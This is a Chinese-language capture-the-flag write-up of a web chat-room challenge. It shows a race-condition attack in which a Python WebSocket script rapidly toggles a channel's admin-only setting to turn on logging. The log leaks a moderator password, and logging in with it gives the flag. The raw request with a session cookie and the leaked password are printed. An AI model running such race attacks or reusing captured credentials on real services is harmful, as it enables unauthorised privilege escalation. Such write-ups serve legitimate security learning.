[GHCTF 2025]真会布置栈吗?
题目是一个聊天室,我们先按照题目使用 /help
Help:
/help 显示此帮助信息
/msg [text] 在当前频道发送消息
/nick [name] 更改你的用户名
/list 列出可用的频道
/join [channel] 切换到不同的频道
/channel 显示当前频道的信息
/users 列出当前频道的用户
/user [id] 显示指定用户的信息
/create [channel] 创建一个新频道
/delete [channel] 删除一个频道
/set [prop] [value] 配置频道或用户
/announce [msg] 向所有频道发送消息
/kick [id] 踢出一个用户
/ban [id] 封禁一个用户
/login [password] 以管理员或版主身份登录。(CTF注意:请勿暴力破解。)
你可以使用你自己的id查看你的属性
User '34j74mktxullj':
- name: test
- privileges: Privileges(CHANNEL_CREATE | CHANNEL_DELETE | MESSAGE_SEND | CHANNEL_MODIFY)
- created: 2025-03-19T08:51:00Z[Etc/Unknown]
- banned: N/A
- style: "& .username { color: var(--palette-8); &::before, &::after { color: var(--fg) } }"
这看起来是一个yml,如果你创建一个频道,他同样拥有一个yml
Channel 'test':
- description:
- slowmode: 0.05
- hidden: false
- immutable: false
- owner: 34j74mktxullj
- current users: 1
- admin-only: false
- mod-only: false
- mode: normal
接下来尝试 /set
的用法,根据返回我们能推断可修改的属性
Available property groups: channel, user
Available channel properties: .description, .slowmode, .hidden, .immutable, .owner, .admin-only, .mode
Available user properties: .name, .style
这里可以修改 admin-only, 这似乎不太正常
同时,mode必须在启用channel.admin-only true时才能更改,但是channel.admin-only true我们又进不去
/create test
/join test
/set channel.hidden true
/set channel.admin-only true
/set channel.mode log
/set channel.admin-only false
我们来编写脚本尝试条件竞争
from codes.WebAttack import *
from codes.WebSockteAttack import *
from codes.InjectTools import *
io = WebSocketAttack("""
GET /socket HTTP/1.1
Host: challenge.utctf.live:5213
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Upgrade: websocket
Origin: http://challenge.utctf.live:5213
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: web-chat-userid=pXbESyRcvOtONlf9Fm3SateOLeIT39KC40kRdJzsJTH4UHmTt%2F23zlwUvLhF15dt
Sec-WebSocket-Key: hagiUDm4gS07xdPj8vUYFw==
""")
io.fast_send("""
/create test11
/join test11
/set channel.hidden true
/set channel.admin-only true
/set channel.mode log
/set channel.admin-only false
""")
具体实现就不放了,还是自己实现一下比较好,多试几次我们能看到test11被创建了,进去后会返回log,题目作者为了防止别人进你房间拿现成的, .hidden true 才能启用log
等会就能看见密码
/log 0000moderator general /join 0000moderator moderator
/log 0000moderator general /login unbroken-sandpit-scant-unmixable
/login unbroken-sandpit-scant-unmixable
/join mod-info
/channel
得到flag